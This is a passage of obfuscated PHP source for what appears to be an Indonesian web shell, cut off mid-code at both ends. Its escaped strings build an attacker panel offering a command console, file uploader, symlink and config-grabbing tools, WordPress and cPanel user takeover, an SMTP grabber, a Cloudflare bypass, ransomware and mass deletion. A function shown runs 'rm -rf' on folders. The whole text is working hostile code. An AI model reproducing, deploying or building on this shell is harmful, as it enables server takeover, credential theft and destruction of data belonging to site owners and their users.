"\x26\141\153\163\x69\x3d\x6d\x61\163\144\x65\154\x22\40\143\154\x61\163\163\x3d\x22\x66\151\164\x75\162\x65\40\142\x74\156\x20\142\164\156\x2d\x64\x61\156\x67\145\x72\40\142\x74\x6e\55\163\155\x22\x3e\x3c\x69\x20\143\154\x61\x73\163\x3d\42\146\141\40\x66\141\x2d\x74\162\x61\x73\x68\42\76\x3c\x2f\151\x3e\x20\x4d\141\x73\x73\x20\x44\145\x6c\x65\x74\145\74\57\141\76\xa\x3c\141\40\x68\162\145\x66\75\42\77\x64\151\x72\75" . $dir . "\46\x61\153\163\x69\x3d\152\165\155\x70\151\156\x67\x22\x20\x63\154\141\163\x73\x3d\42\x66\x69\x74\165\162\x65\40\x62\164\156\x20\142\164\156\55\144\x61\156\147\x65\162\x20\x62\x74\x6e\x2d\163\x6d\x22\x3e\74\x69\40\x63\x6c\141\163\163\75\x22\x66\x61\x20\146\141\x2d\x65\x78\143\154\141\155\141\x74\x69\157\x6e\x2d\164\162\151\141\x6e\147\x6c\145\x22\76\74\x2f\x69\76\x20\x4a\165\155\x70\151\x6e\x67\x3c\57\x61\76\xa\74\141\40\x68\162\x65\146\75\x22\x3f\x64\151\162\x3d" . $dir . "\46\141\153\163\151\x3d\143\157\156\146\151\x67\42\x20\x63\154\x61\163\163\x3d\x22\146\151\164\x75\x72\x65\x20\142\x74\156\x20\142\x74\156\x2d\x64\x61\156\x67\145\162\x20\x62\164\156\55\x73\155\x22\x3e\74\151\40\x63\154\x61\x73\x73\x3d\x22\x66\141\40\146\141\55\143\157\147\x73\42\76\x3c\57\x69\x3e\40\103\157\x6e\x66\151\147\74\x2f\141\x3e\xa\x3c\x61\40\x68\162\145\146\x3d\x22\77\144\151\162\75" . $dir . "\x26\141\x6b\163\x69\x3d\141\144\x6d\x69\x6e\x65\162\42\x20\x63\x6c\x61\163\x73\75\42\x66\151\x74\x75\x72\145\40\142\x74\156\40\x62\x74\156\x2d\144\141\x6e\x67\x65\x72\x20\x62\x74\x6e\x2d\x73\x6d\42\76\74\151\40\143\154\x61\x73\163\x3d\x22\x66\141\40\146\141\x2d\x75\163\145\162\x22\76\x3c\x2f\x69\x3e\40\101\144\155\151\x6e\145\162\74\x2f\x61\76\xa\74\x61\40\x68\162\145\x66\x3d\x22\x3f\x64\151\162\75" . $dir . "\x26\x61\153\x73\x69\x3d\x63\150\141\156\147\x65\x64\141\x74\145\x22\x20\143\x6c\x61\x73\163\x3d\42\x66\x69\x74\165\x72\145\40\142\164\x6e\40\x62\x74\x6e\x2d\144\x61\x6e\147\x65\x72\x20\142\x74\x6e\x2d\163\x6d\42\76\x3c\151\40\x63\154\x61\163\163\75\x22\146\141\40\146\x61\x2d\x63\x6c\157\x63\153\42\76\x3c\x2f\x69\x3e\40\104\x61\164\145\x3c\57\141\76\12\74\141\x20\x68\x72\x65\146\x3d\x22\77\x64\151\162\x3d" . $dir . "\46\141\153\163\x69\75\163\171\x6d\x6c\x69\156\153\x22\x20\143\x6c\x61\x73\x73\75\x22\146\x69\164\165\x72\145\40\142\x74\x6e\x20\x62\164\156\x2d\x64\141\x6e\147\145\162\40\142\x74\156\x2d\163\x6d\x22\76\74\x69\40\x63\x6c\141\x73\163\x3d\x22\146\141\x20\146\x61\55\145\x78\x63\x6c\x61\155\141\164\x69\x6f\156\55\x63\x69\x72\x63\154\145\42\x3e\x3c\x2f\151\76\x20\123\x79\x6d\x6c\151\x6e\153\74\57\x61\76\12\12\74\141\x20\x68\x72\145\x66\x3d\x22\x3f\x64\x69\x72\x3d" . $dir . "\x26\x61\x6b\x73\x69\x3d\x67\x73\42\x20\143\x6c\141\163\x73\75\42\x66\x69\164\165\x72\145\40\x62\x74\x6e\40\x62\x74\x6e\x2d\163\x75\143\x63\x65\163\x73\40\142\164\156\x2d\x73\x6d\42\76\x3c\151\x20\x63\x6c\x61\x73\163\75\42\146\x61\40\x66\141\55\x63\x6f\144\145\42\76\74\57\x69\x3e\x20\x47\x53\x3c\x2f\141\76\12\74\x61\x20\x68\x72\145\x66\x3d\42\77\x64\151\162\75" . $dir . "\x26\141\153\163\151\x3d\x63\157\x6e\163\x6f\x6c\x65\x78\x22\x20\x63\154\141\163\x73\x3d\x22\x66\151\164\165\x72\x65\x20\x62\164\156\40\142\x74\156\55\163\x75\x63\x63\145\x73\163\x20\142\x74\156\x2d\163\155\42\76\x3c\151\x20\143\x6c\x61\163\x73\75\42\146\x61\40\x66\x61\55\x74\145\162\155\x69\x6e\x61\154\42\76\74\x2f\151\76\40\103\x6f\x6e\x73\x6f\x6c\145\x3c\x2f\x61\x3e\12\74\x61\x20\150\162\145\146\x3d\x22\77\144\x69\162\75" . $dir . "\46\x61\153\163\151\75\x75\160\x6c\157\x61\x64\145\162\170\42\40\143\154\141\x73\x73\75\42\146\x69\164\x75\x72\x65\x20\142\164\156\40\142\x74\x6e\x2d\x73\x75\x63\x63\145\x73\x73\x20\142\x74\156\x2d\163\x6d\42\x3e\x3c\151\x20\x63\154\141\x73\x73\x3d\42\146\141\163\40\146\141\55\143\x6c\157\x75\144\55\x75\x70\x6c\x6f\x61\x64\55\141\x6c\x74\42\x3e\x3c\57\151\x3e\40\x55\x70\x6c\157\x61\144\x65\x72\74\x2f\141\x3e\12\74\x61\x20\x68\162\145\x66\x3d\x22\x3f\x64\151\162\x3d" . $dir . "\46\x61\x6b\163\x69\75\167\160\142\x64\42\x20\143\x6c\141\163\x73\75\x22\x66\151\164\165\x72\145\40\x62\164\156\x20\142\x74\156\55\163\x75\143\143\145\163\163\40\142\164\156\x2d\163\155\x22\x3e\x3c\151\x20\x63\154\141\x73\x73\x3d\x22\146\x61\40\146\x61\55\167\x6f\x72\x64\160\162\x65\x73\x73\x22\x3e\74\x2f\x69\76\x20\x57\157\162\x64\120\x72\145\x73\x73\74\57\141\76\12\x3c\141\x20\x68\x72\x65\x66\75\42\77\x64\151\x72\x3d" . $dir . "\46\141\x6b\163\151\x3d\167\x70\165\x73\x65\162\42\40\143\154\141\x73\163\x3d\42\146\x69\x74\x75\x72\x65\x20\x62\164\156\40\x62\164\x6e\55\x73\x75\143\143\145\x73\163\40\142\x74\x6e\x2d\163\155\42\x3e\74\x69\40\x63\x6c\x61\163\x73\75\x22\146\x61\142\40\x66\x61\x2d\x77\x6f\x72\144\160\x72\145\163\x73\55\x73\151\x6d\160\154\x65\x22\76\74\x2f\151\76\40\127\120\x20\125\x73\x65\162\x3c\x2f\x61\x3e\xa\x3c\141\40\x68\162\145\146\75\42\77\144\x69\x72\x3d" . $dir . "\46\141\x6b\163\x69\75\154\x6f\x67\x67\x65\162\x22\x20\x63\x6c\x61\x73\x73\x3d\42\146\151\164\x75\x72\x65\x20\142\x74\156\40\142\x74\x6e\x2d\x73\165\143\143\x65\163\163\x20\142\x74\156\55\x73\x6d\x22\x3e\74\x69\40\x63\154\x61\x73\x73\75\42\x66\x61\x62\x20\x66\x61\x2d\x77\x6f\x72\144\160\x72\145\x73\x73\55\x73\x69\x6d\160\154\x65\42\x3e\x3c\57\x69\x3e\40\x4c\157\x67\147\145\162\x3c\57\141\x3e\xa\74\x61\x20\x68\x72\x65\x66\75\x22\x3f\144\151\x72\75" . $dir . "\46\141\x6b\x73\151\x3d\x67\163\x63\x22\40\143\154\x61\163\x73\x3d\x22\x66\x69\x74\x75\162\x65\x20\142\x74\156\40\x62\x74\x6e\x2d\x73\165\143\x63\145\163\x73\40\x62\164\156\x2d\163\155\42\76\74\x69\x20\143\x6c\x61\x73\x73\75\42\x66\141\x20\146\141\55\147\157\x6f\x67\x6c\x65\x22\76\74\x2f\151\x3e\x20\107\123\103\x3c\57\x61\76\xa\x3c\141\40\150\x72\x65\x66\75\x22\77\x64\151\162\75" . $dir . "\46\141\x6b\x73\x69\x3d\x64\145\x70\154\157\171\x72\x68\42\40\x63\154\141\x73\163\x3d\42\x66\x69\x74\165\x72\145\x20\142\x74\156\x20\142\164\x6e\x2d\x73\x75\x63\143\145\x73\x73\40\142\x74\156\55\163\155\42\76\74\151\40\143\154\141\163\x73\x3d\42\146\141\142\40\146\x61\55\x72\145\x64\x68\x61\x74\x22\76\74\57\151\x3e\x20\x44\145\x70\154\x6f\171\x20\122\x48\74\57\x61\76\xa\xa\x3c\x61\40\150\162\x65\146\x3d\x22\77\x64\151\x72\75" . $dir . "\46\141\x6b\163\151\x3d\160\x72\x6f\x74\145\x63\164\x65\144\42\x20\x63\x6c\x61\x73\x73\x3d\42\x66\151\x74\x75\162\x65\x20\142\x74\x6e\x20\142\x74\x6e\55\x69\x6e\146\x6f\40\142\164\156\55\163\x6d\x22\x3e\x3c\151\40\x63\154\141\x73\x73\75\x22\x66\141\163\40\x66\x61\55\x63\157\147\163\x22\x3e\74\57\151\76\40\x56\x61\x75\x6c\x74\40\50\x52\157\x6f\164\40\117\156\154\171\x29\74\57\x61\76\xa\x3c\x61\x20\x68\162\145\x66\75\42\77\x64\x69\x72\x3d" . $dir . "\46\x61\153\163\x69\x3d\x63\x6f\156\x66\x62\x79\x70\x61\x73\x73\42\x20\x63\154\x61\x73\163\x3d\42\x66\151\164\x75\x72\x65\x20\x62\164\x6e\x20\142\164\156\x2d\x69\156\x66\x6f\40\142\164\156\x2d\x73\155\42\x3e\74\151\40\x63\x6c\x61\163\x73\75\x22\146\141\x73\x20\x66\x61\x2d\143\x6f\147\x73\42\x3e\x3c\x2f\x69\76\40\103\157\x6e\146\151\147\40\x53\x65\x61\162\143\150\40\102\x79\x70\141\x73\x73\x3c\57\141\76\xa\74\x61\40\x68\x72\x65\146\75\x22\x3f\144\x69\162\x3d" . $dir . "\x26\x61\153\163\x69\x3d\x73\x65\x72\160\x22\40\143\154\x61\163\163\75\42\x66\x69\x74\x75\162\145\40\x62\x74\156\x20\x62\x74\x6e\55\x69\x6e\x66\157\40\x62\164\x6e\55\x73\155\x22\76\74\x69\40\x63\154\x61\163\163\x3d\42\146\x61\40\146\x61\55\x67\x6f\157\x67\154\145\x22\x3e\74\x2f\x69\x3e\x20\x53\105\x52\120\74\x2f\141\76\12\x3c\141\40\150\x72\145\x66\75\x22\77\144\x69\162\x3d" . $dir . "\x26\141\x6b\x73\151\x3d\x77\162\x69\x74\145\42\x20\143\x6c\x61\163\163\75\42\146\x69\x74\165\x72\145\x20\x62\164\156\x20\x62\x74\x6e\x2d\x69\x6e\x66\157\x20\142\164\x6e\55\163\x6d\x22\x3e\74\151\x20\143\154\x61\x73\163\75\x22\146\x61\x73\x20\146\x61\55\163\x65\141\x72\143\x68\42\76\x3c\x2f\151\x3e\x20\x57\162\151\x74\141\142\154\145\x20\x44\151\x72\145\143\164\157\162\171\74\x2f\x61\x3e\12\74\x61\40\150\x72\145\146\x3d\42\77\x64\151\162\75" . $dir . "\x26\141\153\x73\x69\75\142\143\164\157\x6f\154\x73\x22\40\143\154\141\x73\163\75\x22\x66\151\x74\x75\162\145\40\x62\164\156\40\142\164\x6e\55\151\156\x66\x6f\x20\x62\164\156\55\163\x6d\x22\76\74\x69\x20\143\154\141\163\163\x3d\x22\146\141\x73\x20\x66\x61\x2d\156\x65\164\167\157\x72\153\x2d\167\x69\162\145\x64\x22\x3e\74\57\151\76\x20\x4e\x65\x74\167\x6f\162\153\x3c\x2f\141\76\xa\x3c\141\40\x68\x72\x65\146\75\42\77\x64\151\162\x3d" . $dir . "\x26\141\153\x73\151\75\162\145\163\145\164\x70\x61\x73\x73\x63\160\42\x20\143\154\x61\163\163\x3d\42\x66\151\164\165\162\x65\40\x62\164\156\40\142\164\156\x2d\163\x75\143\143\x65\x73\x73\x20\x62\x74\x6e\55\163\155\42\x3e\x3c\x69\40\143\154\141\x73\x73\x3d\42\x66\x61\142\40\x66\141\x2d\143\160\x61\156\145\x6c\42\x3e\74\x2f\x69\76\40\103\x70\x61\156\x65\154\74\57\141\x3e\12\x3c\x61\x20\x68\162\x65\146\75\42\x3f\x64\x69\162\75" . $dir . "\46\141\153\163\151\75\x61\x75\x74\145\x64\x75\x73\x65\x72\x22\x20\143\x6c\141\163\163\x3d\42\146\x69\x74\x75\162\x65\x20\x62\164\156\40\x62\x74\156\55\151\156\x66\x6f\x20\142\x74\x6e\x2d\x73\x6d\x22\76\74\x69\40\143\x6c\141\163\163\75\42\146\x61\x73\x20\146\x61\x2d\x75\x73\x65\162\x2d\145\x64\x69\164\x22\76\74\x2f\151\x3e\40\x45\x64\x69\164\x20\125\x73\145\x72\74\57\x61\76\12\x3c\x61\x20\150\162\145\x66\x3d\42\x3f\144\151\x72\x3d" . $dir . "\46\141\x6b\x73\151\75\x72\x61\x6e\163\x6f\x6d\42\x20\x63\154\141\x73\163\x3d\x22\146\x69\164\165\162\145\40\142\164\x6e\40\142\x74\156\x2d\x69\x6e\x66\x6f\x20\142\164\x6e\x2d\x73\x6d\x22\x3e\74\151\40\143\154\x61\x73\x73\75\42\x66\141\142\40\x66\141\x2d\x6b\145\x79\143\x64\x6e\x22\76\x3c\x2f\x69\76\40\122\x61\x6e\x73\157\x6d\x77\x61\162\x65\74\x2f\x61\76\12\74\x61\x20\150\x72\x65\x66\x3d\42\77\144\x69\162\x3d" . $dir . "\x26\141\153\163\x69\x3d\163\155\164\160\147\x72\141\142\x22\x20\143\154\141\163\x73\75\42\146\151\164\165\x72\x65\x20\142\164\156\40\142\x74\156\55\151\x6e\146\x6f\40\x62\164\156\55\x73\x6d\42\x3e\x3c\x69\x20\143\154\141\163\163\x3d\x22\x66\141\x73\40\x66\x61\40\x66\x61\x2d\145\x78\x63\x6c\x61\x6d\141\x74\151\x6f\x6e\x2d\x63\151\x72\143\154\x65\x22\76\x3c\x2f\151\76\x20\123\115\124\x50\40\107\162\141\x62\x62\x65\162\x3c\57\x61\76\12\74\141\x20\150\162\x65\x66\75\42\x3f\x64\x69\162\75" . $dir . "\x26\141\x6b\163\x69\x3d\142\171\x70\141\163\x63\x66\x22\40\143\x6c\x61\x73\x73\75\42\x66\151\164\x75\x72\x65\40\x62\164\156\40\x62\164\156\55\151\156\146\157\40\142\164\156\55\163\155\42\x3e\74\x69\x20\143\x6c\x61\163\163\75\42\x66\x61\x73\x20\146\141\55\143\154\x6f\165\144\x22\x3e\74\x2f\x69\76\40\102\171\160\x61\163\x73\x20\103\154\x6f\x75\x64\x66\154\x61\x72\145\74\57\141\x3e\xa\74\141\40\150\x72\x65\x66\75\x22\x3f\144\151\162\x3d" . $dir . "\46\x61\x6b\x73\151\x3d\x7a\x69\160\137\155\x65\x6e\x75\42\x20\x63\154\x61\163\163\x3d\x22\146\x69\164\x75\x72\x65\40\142\164\156\x20\x62\164\156\x2d\x69\x6e\146\x6f\x20\x62\x74\156\55\163\155\42\76\x3c\151\40\143\154\141\163\163\x3d\x22\146\x61\x20\x66\x61\55\x66\151\154\x65\55\141\162\x63\x68\x69\x76\x65\55\157\42\76\x3c\x2f\151\76\40\x5a\x69\x70\x3c\57\141\x3e\xa\x3c\141\40\x68\162\x65\x66\x3d\42\77\x6b\x65\x6c\x75\x61\162\x22\x20\143\154\141\x73\x73\75\x22\x66\151\x74\165\x72\145\40\x62\164\x6e\x20\142\164\x6e\55\x77\x61\162\x6e\x69\156\147\40\x62\164\156\x2d\x73\155\42\x3e\x3c\x69\40\x63\x6c\141\163\163\x3d\x22\146\x61\40\146\x61\55\163\x69\147\x6e\55\x6f\x75\x74\x22\x3e\x3c\57\x69\x3e\40\x4b\x65\x6c\x75\x61\x72\74\x2f\x61\76\12\74\x2f\144\x69\166\76\12\x3c\x2f\x64\151\x76\76\xa\x3c\144\x69\x76\x20\x63\x6c\141\163\163\75\42\162\x6f\167\42\x3e\xa\74\144\x69\166\40\x63\x6c\x61\163\163\75\x22\143\x6f\154\55\170\x6c\x2d\61\x32\40\167\55\61\60\x30\40\160\x2d\63\x22\x3e\x3c\x62\x72\57\76\xa\x3c\144\x69\x76\40\x63\x6c\141\163\x73\x3d\42\x63\x6f\x6e\x74\x61\151\x6e\x65\162\42\76\x3c\144\151\166\x20\x63\x6c\x61\x73\x73\75\x22\x72\157\x77\42\76\x3c\144\151\x76\x20\143\154\x61\163\x73\x3d\42\x63\157\154\x2d\66\x22\76\12\x3c\x62\x75\164\x74\x6f\156\x20\x63\x6c\141\x73\163\x3d\x22\142\x74\x6e\x20\142\164\x6e\55\x64\x61\156\147\x65\x72\40\x62\164\156\x2d\142\x6c\157\x63\x6b\x22\x20\x74\x79\160\145\x3d\x22\142\165\x74\x74\x6f\x6e\x22\40\144\x61\x74\x61\55\x74\x6f\x67\147\x6c\145\x3d\42\143\x6f\154\x6c\141\160\x73\x65\x22\40\x64\x61\164\x61\55\164\141\x72\147\x65\x74\x3d\x22\x23\x63\157\x6c\154\141\x70\163\x65\124\x65\x72\x6d\x69\156\141\154\42\40\x61\x72\151\141\55\x65\170\x70\141\156\144\x65\x64\x3d\42\x66\141\154\163\145\x22\40\x61\x72\x69\141\55\143\x6f\156\164\x72\157\x6c\x73\75\42\143\x6f\x6c\x6c\141\x70\163\145\124\145\x72\155\x69\x6e\x61\154\x22\x3e\xa\x3c\150\x35\76\x3c\x69\40\143\x6c\141\x73\x73\75\42\x66\x61\40\146\141\x2d\164\145\162\155\151\156\141\154\x22\x3e\x3c\x2f\151\76\x26\156\142\x73\160\x3b\x54\145\162\155\151\156\x61\x6c\74\57\x68\x35\76\xa\x3c\57\x62\165\164\164\x6f\156\76\xa\x3c\x2f\x64\151\166\x3e\xa\74\144\x69\166\x20\x63\154\141\163\x73\75\x22\x63\x6f\x6c\55\66\x22\76\12\74\x62\x75\x74\x74\157\x6e\x20\143\x6c\x61\x73\163\x3d\x22\x62\x74\156\40\x62\x74\x6e\55\163\x75\x63\x63\x65\x73\x73\x20\x62\164\156\55\142\154\x6f\143\153\x22\40\164\x79\160\145\75\x22\x62\x75\x74\164\x6f\x6e\x22\x20\x64\x61\x74\141\55\164\157\147\147\x6c\x65\75\x22\143\157\x6c\x6c\141\x70\x73\145\42\x20\x64\x61\x74\141\55\164\x61\x72\x67\145\x74\75\42\x23\143\157\x6c\154\141\x70\x73\x65\111\x6e\x66\157\162\x6d\141\163\151\42\x20\141\x72\151\x61\55\x65\x78\x70\141\156\144\x65\x64\x3d\42\146\141\154\x73\145\42\x20\141\x72\x69\x61\55\x63\157\x6e\164\162\x6f\154\x73\75\42\143\x6f\154\x6c\x61\x70\x73\x65\111\x6e\x66\157\x72\155\141\163\151\42\x3e\12\x3c\x68\x35\76\74\x69\40\x63\154\141\163\x73\75\x22\146\x61\40\x66\141\55\151\x6e\x66\157\42\x3e\x3c\57\151\x3e\46\x6e\x62\x73\160\73\x49\x6e\x66\x6f\x72\155\141\x73\x69\74\57\x68\x35\76\12\x3c\57\142\165\x74\164\x6f\x6e\x3e\xa\74\57\x64\x69\166\76\74\57\x64\x69\166\76\12\74\144\151\166\x20\143\x6c\141\x73\x73\x3d\42\143\x6f\154\x6c\x61\x70\x73\x65\42\40\151\144\75\42\143\157\x6c\x6c\141\160\163\145\124\x65\162\155\x69\x6e\x61\154\42\76\12\74\x64\151\x76\40\x63\154\x61\163\x73\75\x22\x63\x61\162\x64\40\142\x67\x2d\x6c\x69\147\x68\x74\42\x3e\12\x3c\x64\x69\x76\x20\x63\x6c\141\163\163\75\x22\143\x61\x72\x64\55\142\x6f\x64\171\x22\76\xa\x3c\146\x6f\162\x6d\76\xa\74\x69\156\x70\165\x74\x20\164\x79\160\x65\x3d\42\x74\145\170\164\42\40\x63\x6c\x61\163\x73\75\x22\146\x6f\162\x6d\x2d\143\157\156\x74\162\x6f\x6c\42\x20\x6e\x61\x6d\x65\x3d\42\x63\x6d\x64\42\40\141\165\x74\x6f\x63\157\155\160\154\x65\164\x65\75\x22\157\x66\146\x22\40\x70\x6c\141\x63\145\x68\x6f\x6c\144\145\162\75\x22\x69\144\40\174\40\x75\156\x61\x6d\145\x20\55\x61\40\174\40\167\x68\157\141\155\151\40\x7c\40\x6c\x73\40\55\154\141\x22\76\12\74\57\146\157\x72\155\76\12\74\57\x64\151\166\x3e\74\57\x64\151\166\76\12\x3c\x2f\x64\x69\166\x3e\xa\74\150\162\57\x3e\12\x3c\x64\151\x76\x20\x63\154\141\163\163\75\x22\143\x6f\154\154\x61\160\x73\145\42\40\151\144\x3d\42\x63\157\x6c\154\x61\x70\x73\145\x49\156\x66\x6f\162\x6d\x61\x73\x69\42\76\12\74\144\x69\x76\x20\143\x6c\141\x73\x73\x3d\42\143\x61\x72\144\40\x74\x61\x62\x6c\x65\x2d\x72\145\163\160\x6f\x6e\x73\151\x76\x65\x22\76\xa\x3c\x64\151\166\x20\143\154\141\163\x73\75\42\x63\x61\162\x64\x2d\142\x6f\x64\x79\42\x3e\xa\x3c\x74\x61\x62\154\145\x20\143\154\141\x73\163\x3d\42\164\141\x62\154\x65\x20\151\x6e\x66\x6f\162\x22\76\12\x3c\164\162\76\xa\74\164\x64\x3e\x50\x48\120\74\x2f\x74\x64\x3e\xa\74\164\x64\x3e\x20\x3a\x20" . $IIIIIIII1IIl . "\x3c\57\164\x64\76\xa\x3c\57\164\x72\x3e\xa\74\x74\x72\76\12\74\164\144\x3e\111\x50\x20\123\x65\x72\166\145\162\x3c\x2f\x74\144\76\xa\x3c\x74\x64\x3e\x20\72\40" . $IIIIIIII1III . "\74\57\164\144\76\xa\x3c\57\164\162\76\12\74\x74\x72\76\xa\x3c\x74\144\76\x48\104\104\x3c\57\164\x64\76\12\x3c\x74\144\40\143\154\141\x73\x73\x3d\42\x64\55\x66\154\145\170\42\x3e\124\157\164\141\154\40\x3a\x20" . IIIIIIII1l11($IIIIIIII1lII) . "\40\x46\162\145\145\40\x3a\x20" . IIIIIIII1l11($IIIIIIII1lIl) . "\40\133" . $IIIIIIII1lI1 . "\45\135\x3c\x2f\164\x64\x3e\12\x3c\x2f\x74\x72\x3e\12\74\164\162\x3e\xa\74\164\x64\76\104\157\155\141\151\x6e\x3c\x2f\164\144\x3e\12\74\x74\x64\76\72\40" . $IIIIIIIlII1l . "\74\57\164\144\x3e\12\74\57\x74\x72\x3e\12\x3c\x74\162\76\xa\74\164\x64\x3e\115\x79\x53\121\114\x3c\57\164\x64\x3e\12\x3c\164\144\76\x3a\x20" . $IIIIIIII1I1I . "\x3c\57\x74\144\x3e\12\74\57\x74\x72\76\xa\74\x74\162\76\12\x3c\x74\x64\76\143\125\x52\x4c\x3c\x2f\164\144\x3e\xa\x3c\164\144\x3e\x3a\40" . $IIIIIIII1I1l . "\x3c\x2f\x74\144\76\12\74\x2f\164\x72\76\12\74\164\x72\76\xa\74\x74\144\x3e\115\x61\151\154\x65\x72\x3c\57\164\144\x3e\12\x3c\164\x64\76\x3a\x20" . $mail . "\74\x2f\x74\144\x3e\12\x3c\57\164\x72\76\12\74\164\x72\76\12\74\164\144\x3e\x44\x69\x73\141\142\154\145\x20\x46\165\x6e\x63\x74\x69\157\x6e\x3c\57\164\x64\x3e\12\x3c\x74\x64\x3e\72\x20" . $IIIIIIII1ll1 . "\74\57\164\144\76\xa\74\57\x74\162\76\xa\x3c\164\162\x3e\xa\74\x74\x64\76\123\x6f\146\164\x77\141\x72\x65\x3c\57\164\x64\76\xa\74\x74\144\76\x3a\40" . $IIIIIIII1Ill . "\x3c\57\164\x64\76\12\x3c\57\164\162\76\xa\74\x74\162\76\xa\74\x74\144\x3e\x53\151\x73\x74\145\x6d\x20\x4f\160\145\162\141\x73\x69\74\57\164\x64\x3e\12\74\164\x64\x3e\x20\72\40" . $IIIIIIIIl111 . "\x3c\57\164\x64\x3e\xa\74\57\x74\162\x3e\12\x3c\57\x74\141\x62\x6c\145\76\xa\x3c\57\x64\151\166\x3e\xa\x3c\57\144\151\x76\x3e\x3c\x68\x72\57\76\xa\74\x2f\144\x69\166\76\xa\74\57\144\x69\x76\76\xa\74\144\x69\x76\x20\143\154\x61\x73\163\x3d\42\162\x6f\x77\x20\x64\x2d\146\154\x65\170\40\x6a\165\163\x74\151\146\171\x2d\143\x6f\x6e\164\145\156\x74\x2d\143\x65\x6e\164\145\162\42\x3e\xa\x3c\x64\151\x76\x20\x63\154\x61\x73\x73\75\42\143\x6f\154\55\x78\154\55\x31\62\40\x6d\164\55\64\x22\76"; goto rQEqq; CDm1q: if (isset($_GET["\160\x61\x74\150"])) { $path = $_GET["\160\141\x74\x68"]; chdir($path); } else { $path = getcwd(); } goto oXNAJ; srtjT: if ($_GET["\141\x6b\163\151"] == "\x62\x75\x61\x74\137\x66\157\x6c\x64\x65\x72") { IIIIIIIl1Il1($dir, $IIIIIIII1l1I); } goto PZ8XY; ig1qN: function IIIIIIIlI11l($dir, $IIIIIIII1l1I) { echo "\74\144\151\x76\40\x63\x6c\141\x73\x73\x3d\x27\143\141\x72\x64\47\76\xa\74\144\x69\x76\x20\143\154\x61\x73\x73\x3d\x27\143\x61\162\x64\55\x62\157\x64\171\40\146\157\x72\x6d\x2d\147\x72\157\165\x70\x27\76\74\146\x6f\162\x6d\76\xa\74\150\65\76\x3c\x70\x20\x63\x6c\141\x73\x73\75\47\164\x65\170\164\x2d\155\165\164\x65\144\47\76\115\x61\x73\x73\40\x46\151\x6e\144\145\x72\40\104\151\x72\x65\143\x74\x6f\x72\171\40\127\x72\151\x74\141\x62\x6c\145\74\57\160\76\74\x68\65\76\12\74\x68\x35\x3e\74\160\40\x63\154\x61\163\163\75\47\x74\x65\x78\164\x2d\155\165\164\145\x64\47\x3e{$IIIIIIII1l1I}\x20\x54\x61\x72\147\145\164\x20\104\151\x72\x65\x63\164\157\x72\x79\x2f\146\x69\154\x65\x20\72\74\57\x70\76\74\x2f\x68\x35\x3e\xa\74\x69\x6e\160\165\x74\x20\164\x79\x70\145\75\47\x74\x65\170\164\47\x20\143\154\141\x73\163\x3d\x27\x66\x6f\162\155\55\143\x6f\x6e\164\x72\x6f\154\47\40\156\x61\155\145\x3d\47\146\x69\x6e\144\167\x72\x69\164\145\47\40\141\165\x74\157\143\157\155\x70\154\x65\x74\x65\75\x27\157\146\146\x27\40\160\x6c\141\x63\145\x68\x6f\x6c\144\x65\162\x3d\47\x65\x78\x20\x3a\40\x2f\166\141\162\x2f\167\x77\167\x2f\x68\x74\155\154\x27\x3e\12\74\57\146\x6f\x72\x6d\76\x3c\57\x64\151\166\x3e\74\57\x64\x69\166\x3e"; } goto xbcnk; gyq2_: $IIIIIIII1I1l = function_exists("\x63\165\x72\154\x5f\166\145\162\x73\151\157\x6e") ? "\40\x3c\x66\x6f\x6e\164\40\x63\x6f\x6c\x6f\162\75\147\162\x65\x65\x6e\76\40\x4f\x4e\40\x3c\57\x66\157\x6e\x74\76\x20" : "\x20\74\146\157\156\x74\x20\143\x6f\154\x6f\x72\x3d\x72\x65\x64\x3e\40\117\106\x46\40\x3c\x2f\146\x6f\x6e\164\x3e\40"; goto wC9kh; fk8xa: if (isset($_GET["\x64\151\162"])) { $dir = $_GET["\144\151\162"]; chdir($dir); } else { $dir = getcwd(); } goto mMLat; wPDPB: $IIIIIIII1Ill = $_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\106\124\127\101\122\105"]; goto foTk5; Ian4A: $IIIIIIIl1Ill = basename($dir); goto jv_H7; A6VzY: function IIIIIIIl1ll1($dir, $IIIIIIIl1Ill) { echo "\133\40\74\x61\x20\150\x72\145\146\x3d\x27\77\144\x69\162\75" . $dir . "\46\141\x6b\163\x69\75\x72\x65\x6e\x61\155\145\137\146\157\154\x64\x65\x72\x27\76\x52\x65\156\141\155\x65\x3c\x2f\141\76\x20\x5d\x20\x20\x5b\x20\74\x61\40\150\x72\145\146\75\x27\77\x64\x69\x72\x3d" . $dir . "\46\x61\x6b\x73\x69\75\150\x61\160\x75\x73\137\146\x6f\x6c\144\145\162\47\40\x63\154\x61\163\x73\x3d\47\x61\x63\x74\151\x76\x65\x27\76\104\145\154\145\x74\x65\74\x2f\x61\x3e\40\x5d\40\xa\74\x64\x69\x76\40\143\154\141\x73\x73\75\47\143\141\x72\x64\40\x63\x61\162\144\x2d\x62\x6f\144\171\40\x74\145\x78\x74\55\x63\x65\x6e\164\x65\x72\x20\x74\145\x78\x74\x2d\144\141\x72\x6b\x20\155\142\55\x34\x27\76\xa\x3c\160\x3e\131\141\153\151\x6e\x20\115\141\x75\x20\110\141\x70\165\x73\40{$IIIIIIIl1Ill}\40\x3f\74\57\160\x3e\12\74\146\157\162\155\x20\x6d\x65\x74\x68\157\x64\75\47\x50\117\x53\124\x27\x3e\12\74\x61\40\x63\154\x61\x73\163\75\47\142\164\156\x20\x62\164\x6e\x2d\x64\141\x6e\147\145\162\40\x62\x74\x6e\x2d\142\x6c\x6f\x63\153\47\x20\150\x72\145\146\x3d\x27\77\144\151\x72\75" . dirname($dir) . "\47\76\x54\x69\144\141\153\74\57\141\76\xa\74\151\156\x70\165\164\x20\164\171\160\145\x3d\47\163\x75\142\155\151\x74\47\x20\156\x61\155\x65\75\x27\171\x61\x27\40\x63\x6c\141\163\x73\x3d\x27\142\x74\156\x20\x62\164\156\55\163\165\143\143\145\163\163\x20\x62\x74\x6e\x2d\x62\x6c\x6f\x63\x6b\x27\40\x76\x61\x6c\x75\x65\x3d\x27\x59\x61\47\x3e\12\74\57\x66\157\162\x6d\76\xa\74\x2f\144\151\x76\76\x3c\142\162\57\x3e"; if ($_POST["\x79\141"]) { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @ex("\162\x6d\40\x2d\162\146\x20{$dir}"); @ex("\162\x6d\144\151\x72\x20\x2f\x73\40\57\x71\40{$dir}"); $IIIIIIIlIl1l = "\x73\165\x63\143\x65\x73\x73"; $IIIIIIIlIl11 = "\102\145\x72\x68\141\163\151\154\x20\115\145\156\147\x68\x61\x70\x75\x73"; $dir = dirname($dir); 